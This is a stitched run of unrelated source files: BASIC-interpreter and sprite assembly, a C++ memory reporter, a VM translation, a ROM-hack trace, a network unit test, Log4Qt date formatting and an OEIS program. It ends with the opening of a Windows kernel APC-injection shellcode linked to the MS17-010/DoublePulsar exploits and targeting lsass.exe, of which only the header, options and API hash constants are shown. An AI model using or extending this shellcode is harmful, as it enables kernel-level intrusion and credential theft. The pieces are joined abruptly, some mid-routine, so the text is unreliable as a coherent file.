VAR_TEMP2 EVAL_COPY2: CALL EXP_POP ; ADDR OF DATA IN H-L MOV A,M ; DATA TYPE IN ACC CPI SID_VAR ; CHECK IF VAR JZ GETVAR2 STA VAR_TEMP2 ; BYTE 1 INX H MOV A,M STA VAR_TEMP2+1 ; BYTE 2 INX H MOV A,M ; BYTE 3 STA VAR_TEMP2+2 INX H MOV A,M ; BYTE 4 STA VAR_TEMP2+3 INX H RET GETVAR2: INX H ; HL++ MOV B,M ; TAG[0] INX H ; HL++ MOV C,M ; TAG[1] LXI H,VAR_TEMP2 CALL VAR_GET RET ;********************************************************* ;* EVAL_COPY3: POP FROM EXP STACK AND COPY VAR TO VAR_TEMP3 EVAL_COPY3: CALL EXP_POP ; ADDR OF DATA IN H-L MOV A,M ; DATA TYPE IN ACC CPI SID_VAR ; CHECK IF VAR JZ GETVAR3 STA VAR_TEMP3 ; BYTE 1 INX H MOV A,M STA VAR_TEMP3+1 ; BYTE 2 INX H MOV A,M ; BYTE 3 STA VAR_TEMP3+2 INX H MOV A,M ; BYTE 4 STA VAR_TEMP3+3 INX H RET GETVAR3: INX H ; HL++ MOV B,M ; TAG[0] INX H ; HL++ MOV C,M ; TAG[1] LXI H,VAR_TEMP3 CALL VAR_GET RET ;********************************************************* ;* RAM VARIABLES ;********************************************************* .area DATA (REL,CON) EVAL_CURRKEYWORD: .ds 1 ; CURRENT KEYWORD
//кросплатформенный процесорный информатор // TODO: Оптимизировать #include "sysInfo.h" #include "pch.h" #ifdef __unix__ #include <sys/sysinfo.h> #include <sys/types.h> #endif #ifdef _MSC_VER typedef struct _PROCESS_MEMORY_COUNTERS_EX { unsigned long cb; unsigned long PageFaultCount; size_t PeakWorkingSetSize; size_t WorkingSetSize; size_t QuotaPeakPagedPoolUsage; size_t QuotaPagedPoolUsage; size_t QuotaPeakNonPagedPoolUsage; size_t QuotaNonPagedPoolUsage; size_t PagefileUsage; size_t PeakPagefileUsage; size_t PrivateUsage; } PROCESS_MEMORY_COUNTERS_EX; typedef PROCESS_MEMORY_COUNTERS_EX *PPROCESS_MEMORY_COUNTERS_EX; extern "C" { __declspec(dllimport) void *__stdcall GetCurrentProcess(void); __declspec(dllimport) int __stdcall K32GetProcessMemoryInfo( void *Process, PROCESS_MEMORY_COUNTERS_EX *ppsmemCounters, unsigned long cb); } #elif __unix__ typedef struct { std::size_t virtualMem; std::size_t physicalMem; std::size_t totalRam; std::size_t totalSwap; } unix_process_memory; std::size_t unix_proc_parse(char *line) { // This assumes that a digit will be found and the line ends in " Kb". std::size_t i; const char *p = line; while (*p < '0' || *p > '9') p++; // line[i - 3] = '\0'; i = atoi(p); return i; } unix_process_memory unix_process_info_from_proc() { unix_process_memory upm; FILE *f = fopen("/proc/self/status", "r"); char buffer[64]; if (f == nullptr) Application::fail( "unix: invalid read \"/proc/self/status\" access denied"); while (fgets(buffer, static_cast<int>(sizeof(buffer)), f) != nullptr) { if (!strncmp(buffer, "VmSize:", 7)) { upm.virtualMem = unix_proc_parse(buffer) * 1024; // read in KB continue; } if (!strncmp(buffer, "VmRSS:", 6)) { upm.physicalMem = unix_proc_parse(buffer) * 1024; // read in KB break; } } fclose(f); return upm; } unix_process_memory unix_process_info() { unix_process_memory upm; struct sysinfo s; //get ::sysinfo(&s); upm.totalRam = s.totalram; upm.totalSwap = s.totalswap; upm.physicalMem = s.totalswap - s.freeswap; upm.physicalMem *= s.mem_unit; upm.virtualMem = s.totalram - s.freeram; upm.virtualMem *= s.mem_unit; return upm; } #endif /* TODO: Общая доступная виртуальная память TODO: Используемая в настоящее время виртуальная память TODO: Виртуальная память, используемая в данный момент моим процессом TODO: Всего доступно RAM TODO: RAM в настоящее время используется TODO: RAM в настоящее время используется моим процессом TODO: % CPU используется в настоящее время TODO: % CPU в настоящее время используется моим процессом */ const size_t get_cpuCount() { return 0; } const size_t get_process_privateMemory() { size_t total; #ifdef _MSC_VER PROCESS_MEMORY_COUNTERS_EX pm; K32GetProcessMemoryInfo(GetCurrentProcess(), &pm, sizeof(pm)); total = pm.PrivateUsage; #elif __unix__ total = unix_process_info_from_proc().virtualMem; #endif return total; } const size_t get_process_sizeMemory() { size_t total = 0; #ifdef _MSC_VER PROCESS_MEMORY_COUNTERS_EX pm; K32GetProcessMemoryInfo(GetCurrentProcess(), &pm, sizeof(pm)); total = pm.PeakWorkingSetSize; #elif __unix__ total = unix_process_info_from_proc().physicalMem; #endif return total; } const int get_availableRAM() { return unix_process_info().totalRam; }
// push constant 0 @0 D=A @SP A=M M=D @SP M=M+1 // pop local 0 @LCL D=M @0 D=A+D @SP A=M M=D @SP AM=M-1 D=M @SP A=M+1 A=M M=D // label LOOP_START ($LOOP_START) // push argument 0 @ARG D=M @0 A=A+D D=M @SP A=M M=D @SP M=M+1 // push local 0 @LCL D=M @0 A=A+D D=M @SP A=M M=D @SP M=M+1 // add @SP AM=M-1 D=M A=A-1 M=M+D // pop local 0 @LCL D=M @0 D=A+D @SP A=M M=D @SP AM=M-1 D=M @SP A=M+1 A=M M=D // push argument 0 @ARG D=M @0 A=A+D D=M @SP A=M M=D @SP M=M+1 // push constant 1 @1 D=A @SP A=M M=D @SP M=M+1 // sub @SP AM=M-1 D=M A=A-1 M=M-D // pop argument 0 @ARG D=M @0 D=A+D @SP A=M M=D @SP AM=M-1 D=M @SP A=M+1 A=M M=D // push argument 0 @ARG D=M @0 A=A+D D=M @SP A=M M=D @SP M=M+1 // if-goto LOOP_START @SP AM=M-1 D=M @$LOOP_START D;JGT // push local 0 @LCL D=M @0 A=A+D D=M @SP A=M M=D @SP M=M+1
; ; Sprite Rendering Routine ; original code by Patrick Davidson (TI 85) ; modified by Stefano Bodrato - Jan 2001 ; ; Sept 2003 - Stefano: Fixed bug for sprites wider than 8. ; ; Much More Generic version ; Uses plotpixel, respixel and xorpixel ; ; ; $Id: w_putsprite2.asm,v 1.4 2017/01/02 21:51:24 aralbrec Exp $ ; PUBLIC putsprite PUBLIC _putsprite EXTERN w_plotpixel EXTERN w_respixel EXTERN w_xorpixel ; __gfx_coords: h,l (vert-horz) ; sprite: (ix) .putsprite ._putsprite ld hl,2 add hl,sp ld e,(hl) inc hl ld d,(hl) ;sprite address push de pop ix inc hl ld e,(hl) inc hl inc hl ld d,(hl) ; x and y __gfx_coords inc hl inc hl ld a,(hl) ; and/or/xor mode ld h,d ld l,e cp 166 ; and(hl) opcode jr z,doand cp 182 ; or(hl) opcode jp z,door ; 182 - or ; 174 - xor .doxor ld a,(ix+0) ; Width ld b,(ix+1) ; Height .oloopx push bc ;Save # of rows push af ;ld b,a ;Load width ld b,0 ; Better, start from zero !! ld c,(ix+2) ;Load one line of image .iloopx sla c ;Test leftmost pixel jr nc,noplotx ;See if a plot is needed pop af push af push hl push bc push de ld a,h add a,b ld h,a ld e,l ld d,0 ld l,h ld h,d call w_xorpixel pop de pop bc pop hl .noplotx inc b ; witdh counter pop af push af cp b ; end of row ? jr nz,noblkx inc ix ld c,(ix+2) ;Load next byte of image jr noblockx .noblkx ld a,b ; next byte in row ? ;dec a and a jr z,iloopx and 7 jr nz,iloopx .blockx inc ix ld c,(ix+2) ;Load next byte of image jr iloopx .noblockx inc l pop af pop bc ;Restore data djnz oloopx ret .doand ld a,(ix+0) ; Width ld b,(ix+1) ; Height .oloopa push bc ;Save # of rows push af ;ld b,a ;Load width ld b,0 ; Better, start from zero !! ld c,(ix+2) ;Load one line of image .iloopa sla c ;Test leftmost pixel jr nc,noplota ;See if a plot is needed pop af push af push hl push bc push de ld a,h add a,b ld h,a ld e,l ld d,0 ld l,h ld h,d call w_respixel pop de pop bc pop hl .noplota inc b ; witdh counter pop af push af cp b ; end of row ? jr nz,noblka inc ix ld c,(ix+2) ;Load next byte of image jr noblocka .noblka ld a,b ; next byte in row ? ;dec a and a jr z,iloopa and 7 jr nz,iloopa .blocka inc ix ld c,(ix+2) ;Load next byte of image jr iloopa .noblocka inc l pop af pop bc ;Restore data djnz oloopa ret .door ld a,(ix+0) ; Width ld b,(ix+1) ; Height .oloopo push bc ;Save # of rows push af ;ld b,a ;Load width ld b,0 ; Better, start from zero !! ld c,(ix+2) ;Load one line of image .iloopo sla c ;Test leftmost pixel jr nc,noploto ;See if a plot is needed pop af push af push hl push bc push de ld a,h add a,b ld h,a ld e,l ld d,0 ld l,h ld h,d call w_plotpixel pop de pop bc pop hl .noploto inc b ; witdh counter pop af push af cp b ; end of row ? jr nz,noblko inc ix ld c,(ix+2) ;Load next byte of image jr noblocko .noblko ld a,b ; next byte in row ? ;dec a and a jr z,iloopo and 7 jr nz,iloopo .blocko inc ix ld c,(ix+2) ;Load next byte of image jr iloopo .noblocko ;djnz iloopo inc l pop af pop bc ;Restore data djnz oloopo ret
copyright zengfr site:http://github.com/zengfr/romhack 00042A move.l D1, (A0)+ 00042C dbra D0, $42a 016ECE move.b ($4,A3), ($e,A6) [base+6BAD, base+6BBD, base+6BCD] 016ED4 move.b ($5,A3), ($f,A6) 017246 move.b ($4,A3), ($e,A6) [base+6BAD, base+6BCD] 01724C move.b ($5,A3), ($f,A6) 0AAACA move.l (A0), D2 0AAACC move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAACE move.w D0, ($2,A0) 0AAAD2 cmp.l (A0), D0 0AAAD4 bne $aaafc 0AAAD8 move.l D2, (A0)+ 0AAADA cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAE6 move.l (A0), D2 0AAAE8 move.w D0, (A0) [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] 0AAAF4 move.l D2, (A0)+ 0AAAF6 cmpa.l A0, A1 [123p+11A, 123p+11C, 123p+11E, 123p+120, 123p+122, 123p+124, 123p+126, 123p+128, 123p+12A, base+6FFE, enemy+BC, enemy+C0, enemy+C2, enemy+C4, enemy+CC, enemy+CE, enemy+D0, enemy+D2, enemy+D4, enemy+D6, enemy+D8, enemy+DA, item+86, item+88, item+8A, item+98, item+9A, item+9C, item+9E, item+A0, item+A2, item+A4, item+A6, scr1] copyright zengfr site:http://github.com/zengfr/romhack
#include "DAVAEngine.h" #include "UnitTests/UnitTests.h" #include "Network/Base/IPAddress.h" #include "Network/Base/Endpoint.h" #include "Network/NetConfig.h" #include "Network/NetService.h" #include "Network/NetCore.h" #if !defined(DAVA_NETWORK_DISABLE) using namespace DAVA; using namespace DAVA::Net; struct Parcel { void* outbuf; size_t length; uint32 packetId; friend bool operator==(const Parcel& o, const void* p) { return o.outbuf == p; } }; class TestEchoServer : public DAVA::Net::NetService { public: TestEchoServer() = default; void OnPacketReceived(IChannel* aChannel, const void* buffer, size_t length) override { bytesRecieved += length; SendEcho(buffer, length); } void OnPacketSent(IChannel* aChannel, const void* buffer, size_t length) override { // buffer must be among sent buffers and its length must correspond to sent length Deque<Parcel>::iterator i = std::find(parcels.begin(), parcels.end(), buffer); if (i != parcels.end()) { Parcel& parcel = *i; if (parcel.length == length) { // Check whether we have echoed end marker if (3 == length && 0 == strncmp(static_cast<const char8*>(buffer), "END", 3)) { lastPacketId = parcel.packetId; // Save packet ID for end marker } free(parcel.outbuf); parcel.outbuf = NULL; } bytesSent += length; } } void OnPacketDelivered(IChannel* aChannel, uint32 packetId) override { if (false == parcels.empty()) { // Delivery notifications must arrive in order of send operations Parcel parcel = parcels.front(); parcels.pop_front(); if (parcel.packetId == packetId) { bytesDelivered += parcel.length; } } if (packetId == lastPacketId) { testDone = true; // End marker has been recieved, echoed and confirmed, so testing is done } } bool IsTestDone() const { return testDone; } size_t BytesRecieved() const { return bytesRecieved; } size_t BytesSent() const { return bytesSent; } size_t BytesDelivered() const { return bytesDelivered; } private: void SendEcho(const void* buffer, size_t length) { parcels.push_back(Parcel()); Parcel& parcel = parcels.back(); parcel.outbuf = malloc(length); parcel.length = length; parcel.packetId = 0; Memcpy(parcel.outbuf, buffer, length); Send(parcel.outbuf, parcel.length, &parcel.packetId); } private: bool testDone = false; size_t bytesRecieved = 0; size_t bytesSent = 0; size_t bytesDelivered = 0; uint32 lastPacketId = 0; Deque<Parcel> parcels; }; class TestEchoClient : public DAVA::Net::NetService { public: TestEchoClient() { // Prepare data of various length Vector<Parcel> a = { { ::operator new(1), 1, 0 }, { ::operator new(1000), 1000, 0 }, { ::operator new(10000), 10000, 0 }, { ::operator new(100000), 100000, 0 }, { ::operator new(1000000), 1000000, 0 }, { ::operator new(10000000), 10000000, 0 } }; uint8 v = 'A'; for (size_t i = 0; i < a.size(); ++i, ++v) { Memset(a[i].outbuf, v, a[i].length); parcels.push_back(a[i]); } // Prepare end marker Parcel end = { ::operator new(3), 3, 0 }; Memcpy(end.outbuf, "END", 3); parcels.push_back(end); } virtual ~TestEchoClient() { for (auto& x : parcels) ::operator delete(x.outbuf); } void ChannelOpen() override { // Send all parcell at a time for (auto& x : parcels) SendParcel(&x); } void OnPacketReceived(IChannel* aChannel, const void* buffer, size_t length) override { if (pendingRead < parcels.size()) { Parcel& p = parcels[pendingRead]; if (p.length == length && 0 == Memcmp(p.outbuf, buffer, length)) { bytesRecieved += length; } pendingRead += 1; } // Check for end marker echoed from server if (3 == length && 0 == strncmp(static_cast<const char8*>(buffer), "END", 3)) { testDone = true; } } void OnPacketSent(IChannel* aChannel, const void* buffer, size_t length) override { if (pendingSent < parcels.size()) { // Check that send operation is sequential Parcel& p = parcels[pendingSent]; if (p.length == length && 0 == Memcmp(p.outbuf, buffer, length)) { bytesSent += length; } pendingSent += 1; } } void OnPacketDelivered(IChannel* aChannel, uint32 packetId) override { if (pendingDelivered < parcels.size()) { // Check that delivery notification is sequential Parcel& p = parcels[pendingDelivered]; if (p.packetId == packetId) { bytesDelivered += p.length; } pendingDelivered += 1; } } bool IsTestDone() const { return testDone; } size_t BytesRecieved() const { return bytesRecieved; } size_t BytesSent() const { return bytesSent; } size_t BytesDelivered() const { return bytesDelivered; } private: void SendParcel(Parcel* parcel) { Send(parcel->outbuf, parcel->length, &parcel->packetId); } private: bool testDone = false; size_t bytesRecieved = 0; size_t bytesSent = 0; size_t bytesDelivered = 0; Deque<Parcel> parcels; size_t pendingRead = 0; // Parcel index expected to be read from server size_t pendingSent = 0; // Parcel index expected to be sent size_t pendingDelivered = 0; // Parcel index expected to be confirmed as delivered }; DAVA_TESTCLASS (NetworkTest) { //BEGIN_FILES_COVERED_BY_TESTS( ) //FIND_FILES_IN_TARGET( DavaFramework ) // DECLARE_COVERED_FILES("NetCore.cpp") // DECLARE_COVERED_FILES("NetConfig.cpp") // DECLARE_COVERED_FILES("IPAddress.cpp") // DECLARE_COVERED_FILES("Endpoint.cpp") //END_FILES_COVERED_BY_TESTS() enum eServiceTypes { SERVICE_ECHO = 1000 }; enum { ECHO_SERVER_CONTEXT, ECHO_CLIENT_CONTEXT }; static const uint16 ECHO_PORT = 55101; bool echoTestDone = false; TestEchoServer echoServer; TestEchoClient echoClient; NetCore::TrackId serverId = NetCore::INVALID_TRACK_ID; NetCore::TrackId clientId = NetCore::INVALID_TRACK_ID; void Update(float32 timeElapsed, const String& testName) override { if (testName == "TestEcho") { echoTestDone = echoServer.IsTestDone() && echoClient.IsTestDone(); if (echoTestDone) { TEST_VERIFY(echoServer.BytesRecieved() == echoServer.BytesSent()); TEST_VERIFY(echoServer.BytesRecieved() == echoServer.BytesDelivered()); TEST_VERIFY(echoClient.BytesRecieved() == echoClient.BytesSent()); TEST_VERIFY(echoClient.BytesRecieved() == echoClient.BytesDelivered()); TEST_VERIFY(echoServer.BytesRecieved() == echoClient.BytesRecieved()); } } TestClass::Update(timeElapsed, testName); } void TearDown(const String& testName) override { if (testName == "TestEcho") { // Check whether DestroyControllerBlocked() really blocks until controller is destroyed size_t nactive = NetCore::Instance()->ControllersCount(); NetCore::Instance()->DestroyControllerBlocked(serverId); TEST_VERIFY(NetCore::Instance()->ControllersCount() == nactive - 1); NetCore::Instance()->DestroyControllerBlocked(clientId); TEST_VERIFY(NetCore::Instance()->ControllersCount() == nactive - 2); serverId = NetCore::INVALID_TRACK_ID; clientId = NetCore::INVALID_TRACK_ID; } TestClass::TearDown(testName); } bool TestComplete(const String& testName) const override { if (testName == "TestEcho") { return echoTestDone; } return true; } DAVA_TEST (TestIPAddress) { // Test empty address TEST_VERIFY(true == IPAddress().IsUnspecified()); TEST_VERIFY(0 == IPAddress().ToUInt()); TEST_VERIFY("0.0.0.0" == IPAddress().ToString()); // Test invalid address TEST_VERIFY(true == IPAddress("").IsUnspecified()); TEST_VERIFY(true == IPAddress("invalid").IsUnspecified()); TEST_VERIFY(true == IPAddress("300.0.1.2").IsUnspecified()); TEST_VERIFY(true == IPAddress("08.08.0.1").IsUnspecified()); // Test multicast address TEST_VERIFY(false == IPAddress("239.192.100.1").IsUnspecified()); TEST_VERIFY(true == IPAddress("239.192.100.1").IsMulticast()); TEST_VERIFY(false == IPAddress("192.168.0.4").IsMulticast()); TEST_VERIFY(false == IPAddress("255.255.255.255").IsMulticast()); TEST_VERIFY("239.192.100.1" == IPAddress("239.192.100.1").ToString()); // Test address TEST_VERIFY(IPAddress("192.168.0.4") == IPAddress("192.168.0.4")); //-V501 test operator== TEST_VERIFY(String("192.168.0.4") == IPAddress("192.168.0.4").ToString()); TEST_VERIFY(IPAddress("192.168.0.4").ToString() == IPAddress::FromString("192.168.0.4").ToString()); TEST_VERIFY(false == IPAddress("192.168.0.4").IsUnspecified()); TEST_VERIFY(false == IPAddress("255.255.255.255").IsUnspecified()); } DAVA_TEST (TestEndpoint) { TEST_VERIFY(0 == Endpoint().Port()); TEST_VERIFY(String("0.0.0.0:0") == Endpoint().ToString()); TEST_VERIFY(1234 == Endpoint("192.168.1.45", 1234).Port()); TEST_VERIFY(Endpoint("192.168.1.45", 1234).Address() == IPAddress("192.168.1.45")); TEST_VERIFY(Endpoint("192.168.1.45", 1234).Address() == IPAddress::FromString("192.168.1.45")); TEST_VERIFY(Endpoint("192.168.1.45", 1234) == Endpoint("192.168.1.45", 1234)); //-V501 test operator== TEST_VERIFY(false == (Endpoint("192.168.1.45", 1234) == Endpoint("192.168.1.45", 1235))); // Different ports TEST_VERIFY(false == (Endpoint("192.168.1.45", 1234) == Endpoint("192.168.1.46", 1234))); // Different addressess } DAVA_TEST (TestNetConfig) { TEST_VERIFY(SERVER_ROLE == NetConfig(SERVER_ROLE).Role()); TEST_VERIFY(false == NetConfig(SERVER_ROLE).Validate()); NetConfig config1(SERVER_ROLE); config1.AddTransport(TRANSPORT_TCP, Endpoint(9999)); config1.AddTransport(TRANSPORT_TCP, Endpoint(8888)); TEST_VERIFY(false == config1.Validate()); TEST_VERIFY(2 == config1.Transports().size()); config1.AddService(3); config1.AddService(1); config1.AddService(2); TEST_VERIFY(true == config1.Validate()); TEST_VERIFY(2 == config1.Transports().size()); TEST_VERIFY(3 == config1.Services().size()); NetConfig config2 = config1.Mirror(IPAddress("192.168.1.20")); TEST_VERIFY(CLIENT_ROLE == config2.Role()); TEST_VERIFY(true == config2.Validate()); TEST_VERIFY(2 == config2.Transports().size()); TEST_VERIFY(3 == config2.Services().size()); } DAVA_TEST (TestEcho) { NetCore::Instance()->RegisterService(SERVICE_ECHO, MakeFunction(this, &NetworkTest::CreateEcho), MakeFunction(this, &NetworkTest::DeleteEcho)); NetConfig serverConfig(SERVER_ROLE); serverConfig.AddTransport(TRANSPORT_TCP, Endpoint(ECHO_PORT)); serverConfig.AddService(SERVICE_ECHO); NetConfig clientConfig = serverConfig.Mirror(IPAddress("127.0.0.1")); // Server config must be recreated first due to restrictions of service management serverId = NetCore::Instance()->CreateController(serverConfig, reinterpret_cast<void*>(ECHO_SERVER_CONTEXT)); clientId = NetCore::Instance()->CreateController(clientConfig, reinterpret_cast<void*>(ECHO_CLIENT_CONTEXT)); } IChannelListener* CreateEcho(uint32 serviceId, void* context) { if (ECHO_SERVER_CONTEXT == reinterpret_cast<intptr_t>(context)) return &echoServer; else if (ECHO_CLIENT_CONTEXT == reinterpret_cast<intptr_t>(context)) return &echoClient; return nullptr; } void DeleteEcho(IChannelListener * obj, void* context) { // Do nothing as services are members of NetworkTest } }; #endif // !DAVA_NETWORK_DISABLE
/****************************************************************************** * * package: Log4Qt * file: datetime.cpp * created: September 2007 * author: Martin Heinrich * * * Copyright 2007 Martin Heinrich * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ******************************************************************************/ /****************************************************************************** * Dependencies ******************************************************************************/ #include "log4qt/helpers/datetime.h" #include <QtCore/QDebug> #include "log4qt/helpers/initialisationhelper.h" namespace Log4Qt { /************************************************************************** *Declarations **************************************************************************/ /************************************************************************** * C helper functions **************************************************************************/ /************************************************************************** * Class implementation: DateTime **************************************************************************/ QString DateTime::toString(const QString &rFormat) const { QString format(rFormat); if (format.isEmpty()) return QString(); if (!isValid()) return QString(); if (format == QLatin1String("NONE")) return QString(); if (format == QLatin1String("TIME_RELATIVE")) return QString::number(toMilliSeconds() - InitialisationHelper::startTime()); if (format == QLatin1String("ISO8601")) format = QLatin1String("yyyy-MM-dd hh:mm:ss.zzz"); if (format == QLatin1String("TIME_ABSOLUTE")) format = QLatin1String("HH:mm:ss.zzz"); if (format == QLatin1String("DATE")) format = QLatin1String("dd MMM YYYY HH:mm:ss.zzzz"); return formatDateTime(format); } QString DateTime::formatDateTime(const QString &rFormat) const { if (rFormat.isEmpty()) return QString(); if (!isValid()) return QString(); const QLatin1Char null('0'); const QLatin1Char quote('\''); const QString tokens = QLatin1String("\'dMyhHmszAPapw"); const bool am_pm = hasAMPM(rFormat); QString result; QString token; QChar expected = null; QChar c; int i; for (i = 0; i < rFormat.length(); i++) { c = rFormat.at(i); // Handle literal text if (expected == quote) { if (c == quote) { Q_ASSERT_X(i > 0, "DateTime::toString()", "Found quote with status quote at i = 0"); if (i > 0 && rFormat.at(i - 1) == quote) // Second of two quotes result += quote; expected = null; } else // Next literal character result += c; } else if (c == expected) { // Extend token token += c; } else { // Close last token result += formatToken(token, am_pm); token.clear(); expected = null; // Test for valid character if (tokens.indexOf(c) >= 0) { if (c == QLatin1Char('a')) expected = QLatin1Char('p'); else if (c == QLatin1Char('A')) expected = QLatin1Char('P'); else if (c.toLower() == QLatin1Char('p')) expected = null; else expected = c; if (c != quote) token += c; } else result += c; } } result += formatToken(token, am_pm); return result; } QString DateTime::formatToken(const QString &rToken, bool am_pm) const { if (rToken.isEmpty()) return QString(); const QChar c = rToken.at(0); QString result; int used; // Qt data format strings if (rToken.startsWith(QLatin1String("dddd"))) { result = QDate::longDayName(date().dayOfWeek()); used = 4; } else if (rToken.startsWith(QLatin1String("ddd"))) { result = QDate::shortDayName(date().dayOfWeek()); used = 3; } else if (rToken.startsWith(QLatin1String("dd"))) { result = QString::number(date().day()).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == QLatin1Char('d')) { result = QString::number(date().day()); used = 1; } else if (rToken.startsWith(QLatin1String("MMMM"))) { result = QDate::longMonthName(date().month()); used = 4; } else if (rToken.startsWith(QLatin1String("MMM"))) { result = QDate::shortMonthName(date().month()); used = 3; } else if (rToken.startsWith(QLatin1String("MM"))) { result = QString::number(date().month()).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == QLatin1Char('M')) { result = QString::number(date().month()); used = 1; } else if (rToken.startsWith(QLatin1String("yyyy"))) { result = QString::number(date().year()); used = 4; } else if (rToken.startsWith(QLatin1String("yy"))) { result = QString::number(date().year() % 100).rightJustified(2, QLatin1Char('0'), true); used = 2; } // Qt time format strings else if (rToken.startsWith(QLatin1String("hh")) || rToken.startsWith(QLatin1String("HH"))) { int hour = time().hour(); if (am_pm && c == QLatin1Char('h') && hour > 12) hour -= 12; result = QString::number(hour).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == QLatin1Char('h') || c == QLatin1Char('H')) { int hour = time().hour(); if (am_pm && c == QLatin1Char('h') && hour > 12) hour -= 12; result = QString::number(hour); used = 2; } else if (rToken.startsWith(QLatin1String("mm"))) { result = QString::number(time().minute()).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == (QLatin1Char('m'))) { result = QString::number(time().minute()); used = 1; } else if (rToken.startsWith(QLatin1String("ss"))) { result = QString::number(time().second()).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == QLatin1Char('s')) { result = QString::number(time().second()); used = 1; } else if (rToken.startsWith(QLatin1String("zzz"))) { result = QString::number(time().msec()).rightJustified(3, QLatin1Char('0'), true); used = 3; } else if (c == QLatin1Char('z')) { result = QString::number(time().msec()); used = 1; } else if (c.toLower() == QLatin1Char('a')) { bool is_lower = c == QLatin1Char('a'); if (time().hour() < 12) result = QLatin1String("AM"); else result = QLatin1String("PM"); if (is_lower) result = result.toLower(); if (rToken.size() > 1 && ((is_lower && rToken.at(1) == QLatin1Char('p')) || (!is_lower && rToken.at(1) == QLatin1Char('P'))) ) used = 2; else used = 1; } // Extension for week number else if (rToken.startsWith(QLatin1String("ww"))) { result = QString::number(date().weekNumber()).rightJustified(2, QLatin1Char('0'), true); used = 2; } else if (c == QLatin1Char('w')) { result = QString::number(date().weekNumber()); used = 1; } if (used) return result + formatToken(rToken.mid(used), am_pm); else return result; } bool DateTime::hasAMPM(const QString &rToken) { bool in_literal = false; QChar c; int i; for (i = 0; i < rToken.length(); i++) { c = rToken.at(i); if (c == QLatin1Char('\'')) in_literal = !in_literal; else if (!in_literal && c.toLower() == QLatin1Char('a')) return true; } return false; } /************************************************************************** * Implementation: Operators, Helper **************************************************************************/ } // namespace Log4Qt
; A002627: a(n) = n*a(n-1) + 1, a(0) = 0. ; 0,1,3,10,41,206,1237,8660,69281,623530,6235301,68588312,823059745,10699776686,149796873605,2246953104076,35951249665217,611171244308690,11001082397556421,209020565553572000,4180411311071440001,87788637532500240022,1931350025715005280485,44421050591445121451156,1066105214194682914827745,26652630354867072870693626,692968389226543894638034277,18710146509116685155226925480,523884102255267184346353913441,15192638965402748346044263489790,455779168962082450381327904693701 mov $2,8 lpb $0 add $1,$2 mul $2,$0 sub $0,1 lpe div $1,8 mov $0,$1
; ; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode ; ; Author: Sean Dillon <sean.dillon@risksense.com> (@zerosum0x0) ; Copyright: (c) 2017 RiskSense, Inc. ; Release: 04 May 2017 ; License: Apache 2.0 ; Build: nasm ./kernel.asm ; Acknowledgements: Stephen Fewer, skape, Equation Group, Shadow Brokers ; ; Description: ; Injects an APC into a specified process. Once in userland, a new thread is ; created to host the main payload. Add whatever userland payload you want to ; the end, prepended with two bytes that equal the little endian size of your ; payload. The userland payload should detect arch if multi-arch is enabled. ; This payload is convenient, smaller or null-free payloads can be crafted ; using this as a base template. ; ; References: ; https://github.com/Risksense-Ops/MS17-010 ; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx ; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html ; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ ; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-dll.html ; BITS 64 ORG 0 section .text global payload_start ; options which can be enabled %define USE_X86 ; include x86 payload %define USE_X64 ; include x64 payload %define PROCESS_HASH LSASS_EXE_HASH ; the process to queue APC into %define MAX_PID 0x10000 ; %define CLEAR_DIRECTION_FLAG ; if cld should be run ; %define SYSCALL_OVERWRITE ; to run at process IRQL in syscall ; %define ERROR_CHECKS ; lessen chance of BSOD, but bigger size ; hashes for export directory lookups LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe") SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe") CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread") PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess") PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId") PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName") KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess") KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread") KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc") KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc") KESTACKATTACHPROCESS_HASH equ 0xdc1124e5 